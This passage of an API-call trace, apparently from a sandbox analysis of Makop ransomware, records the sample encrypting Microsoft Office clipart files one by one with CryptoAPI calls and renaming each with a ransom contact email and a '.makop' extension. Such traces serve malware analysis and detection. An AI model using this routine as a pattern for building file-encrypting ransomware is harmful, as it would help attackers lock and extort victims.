lpNewFilePointer=0x0) returned 1 [0141.682] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3218, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3218, lpOverlapped=0x0) returned 1 [0141.683] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3220, dwBufLen=0x3220 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3220) returned 1 [0141.684] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.684] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3220, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3220, lpOverlapped=0x0) returned 1 [0141.684] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.684] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x32f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.684] SetEndOfFile (hFile=0xf0) returned 1 [0141.690] GetProcessHeap () returned 0x48a0000 [0141.691] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.691] GetProcessHeap () returned 0x48a0000 [0141.691] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.691] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.693] CloseHandle (hObject=0xf0) returned 1 [0141.693] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02443_.WMF", cAlternateFileName="")) returned 1 [0141.693] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF") returned 63 [0141.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.694] GetProcessHeap () returned 0x48a0000 [0141.694] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.694] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.694] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.695] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.698] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.699] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.699] GetProcessHeap () returned 0x48a0000 [0141.699] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.699] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.699] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.699] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.699] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.699] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.699] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.700] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.700] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.700] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.700] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.700] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.700] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x55c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x55c, lpOverlapped=0x0) returned 1 [0141.700] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x560, dwBufLen=0x560 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x560) returned 1 [0141.700] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.700] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x560, lpOverlapped=0x0) returned 1 [0141.701] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.701] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.701] SetEndOfFile (hFile=0xf0) returned 1 [0141.707] GetProcessHeap () returned 0x48a0000 [0141.707] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.707] GetProcessHeap () returned 0x48a0000 [0141.707] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.708] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.709] CloseHandle (hObject=0xf0) returned 1 [0141.709] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02444_.WMF", cAlternateFileName="")) returned 1 [0141.709] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF") returned 63 [0141.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.710] GetProcessHeap () returned 0x48a0000 [0141.710] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.710] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.710] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.711] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.715] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.715] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.715] GetProcessHeap () returned 0x48a0000 [0141.715] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.715] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.715] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.715] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.715] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.716] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.716] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.716] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.716] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.716] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.716] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.716] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.716] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x88c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x88c, lpOverlapped=0x0) returned 1 [0141.716] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x890, dwBufLen=0x890 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x890) returned 1 [0141.717] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.717] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x890, lpOverlapped=0x0) returned 1 [0141.717] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.717] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.717] SetEndOfFile (hFile=0xf0) returned 1 [0141.723] GetProcessHeap () returned 0x48a0000 [0141.724] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.724] GetProcessHeap () returned 0x48a0000 [0141.724] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.724] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.724] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.725] CloseHandle (hObject=0xf0) returned 1 [0141.725] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa34, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02446_.WMF", cAlternateFileName="")) returned 1 [0141.725] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF") returned 63 [0141.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.726] GetProcessHeap () returned 0x48a0000 [0141.726] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.726] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.726] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.727] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0141.731] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.731] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.731] GetProcessHeap () returned 0x48a0000 [0141.731] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.731] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.731] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.731] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.731] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.731] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.732] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.732] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.732] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.732] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.732] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa34, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa34, lpOverlapped=0x0) returned 1 [0141.732] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa40, dwBufLen=0xa40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa40) returned 1 [0141.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.733] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa40, lpOverlapped=0x0) returned 1 [0141.733] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.733] SetEndOfFile (hFile=0xf0) returned 1 [0141.740] GetProcessHeap () returned 0x48a0000 [0141.740] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.740] GetProcessHeap () returned 0x48a0000 [0141.740] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.740] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.741] CloseHandle (hObject=0xf0) returned 1 [0141.742] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02448_.WMF", cAlternateFileName="")) returned 1 [0141.742] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF") returned 63 [0141.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.744] GetProcessHeap () returned 0x48a0000 [0141.744] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.744] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.744] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.744] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.744] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.744] GetProcessHeap () returned 0x48a0000 [0141.744] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.744] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.745] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.745] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.748] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.748] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.749] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.749] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.749] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.749] CryptImportKey (in: 